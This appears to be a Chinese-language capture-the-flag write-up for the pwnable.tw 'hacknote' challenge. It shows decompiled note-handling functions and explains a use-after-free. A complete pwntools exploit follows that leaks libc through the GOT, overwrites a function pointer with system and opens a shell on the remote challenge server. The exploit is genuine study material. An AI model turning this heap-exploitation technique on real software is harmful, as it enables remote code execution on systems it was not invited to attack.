PWNABLE hacknote

查看文件基本信息

 

 分析程序行为

 

 静态分析

unsigned int add_note()
{
  int v0; // ebx
  int i; // [esp+Ch] [ebp-1Ch]
  int size; // [esp+10h] [ebp-18h]
  char buf[8]; // [esp+14h] [ebp-14h] BYREF
  unsigned int v5; // [esp+1Ch] [ebp-Ch]

  v5 = __readgsdword(0x14u);
  if ( dword_804A04C <= 5 )
  {
    for ( i = 0; i <= 4; ++i )
    {
      if ( !*(&ptr + i) )                       // 当前的ptr为空才会执行
      {
        *(&ptr + i) = malloc(8u);               // 申请8字节空间
                                                // 前4个字节为puts_a1函数
                                                // 后四个字节为content地址
        if ( !*(&ptr + i) )
        {
          puts("Alloca Error");
          exit(-1);
        }
        *(_DWORD *)*(&ptr + i) = puts_a1;       // malloc申请来的地址赋值puts函数
        printf("Note size :");
        read(0, buf, 8u);
        size = atoi(buf);
        v0 = (int)*(&ptr + i);
        *(_DWORD *)(v0 + 4) = malloc(size);
        if ( !*((_DWORD *)*(&ptr + i) + 1) )
        {
          puts("Alloca Error");
          exit(-1);
        }
        printf("Content :");
        read(0, *((void **)*(&ptr + i) + 1), size);
        puts("Success !");
        ++dword_804A04C;
        return __readgsdword(0x14u) ^ v5;
      }
    }
  }
  else
  {
    puts("Full");
  }
  return __readgsdword(0x14u) ^ v5;
}
unsigned int delete_note()
{
  int v1; // [esp+4h] [ebp-14h]
  char buf[4]; // [esp+8h] [ebp-10h] BYREF
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, buf, 4u);
  v1 = atoi(buf);
  if ( v1 < 0 || v1 >= dword_804A04C )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( *(&ptr + v1) )
  {
    free(*((void **)*(&ptr + v1) + 1));         // 先释放content
    free(*(&ptr + v1));                         // 再释放note
    puts("Success");
  }
  return __readgsdword(0x14u) ^ v3;
}
unsigned int print_note()
{
  int v1; // [esp+4h] [ebp-14h]
  char buf[4]; // [esp+8h] [ebp-10h] BYREF
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, buf, 4u);
  v1 = atoi(buf);
  if ( v1 < 0 || v1 >= dword_804A04C )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( *(&ptr + v1) )
    (*(void (__cdecl **)(_DWORD))*(&ptr + v1))(*(&ptr + v1));// 这里注意,在add_note赋值时,给的puts里的参数
                                                // 自带+4
  return __readgsdword(0x14u) ^ v3;
}

漏洞利用

 运用UAF,先创建两个note,size需要大一些不能是8,比如设置为20.再先删除掉note0,后删除掉note1,在fastbin中就会有下面的结构

 然后再申请note2,并且设置note2的size为8,这样就会note1的地址给note2,并且由于size为8,会把note0的地址给note2的content,这样给content赋值就会更改掉note0里的数据,

又由于free note0时,没有把note0指针设置为null,所以仍然可以调用note0

EXP

from pwn import *
# context.log_level = 'debug'
# io=process('./hacknote')
io=remote('chall.pwnable.tw','10102')
elf=ELF('./hacknote')
libc=ELF('libc_32.so.6')
addr_putsa1=0x0804862B    #不能是plt里的,因为它需要参数在栈里

def add_note(size,content):
    io.recvuntil('Your choice :')
    io.sendline('1')
    io.recvuntil('Note size :')
    io.sendline(size)
    io.recvuntil('Content :')
    io.sendline(content)

def delete_note(index):
    io.recvuntil('Your choice :')
    io.sendline('2')
    io.recvuntil('Index :')
    io.sendline(index)

def print_note(index):
    io.recvuntil('Your choice :')
    io.sendline('3')
    io.recvuntil('Index :')
    io.sendline(index)

add_note('200','lft')
add_note('200','sh')
delete_note('0')
delete_note('1')

add_note('8',p32(addr_putsa1)+p32(elf.got['malloc']))
print_note('0')
addr_malloc=u32(io.recv(numb=4))
print hex(addr_malloc)
libc.address=addr_malloc-libc.sym['malloc']
addr_system=libc.sym['system']

delete_note('2')
add_note('8',p32(addr_system)+';shx00')#这里是system函数,所以会把整个note指针传入进去,所以需要用分号把前面的表示函数地址的数据给或掉
print_note('0')

io.interactive()
原文地址:https://www.cnblogs.com/sweetbaby/p/15477513.html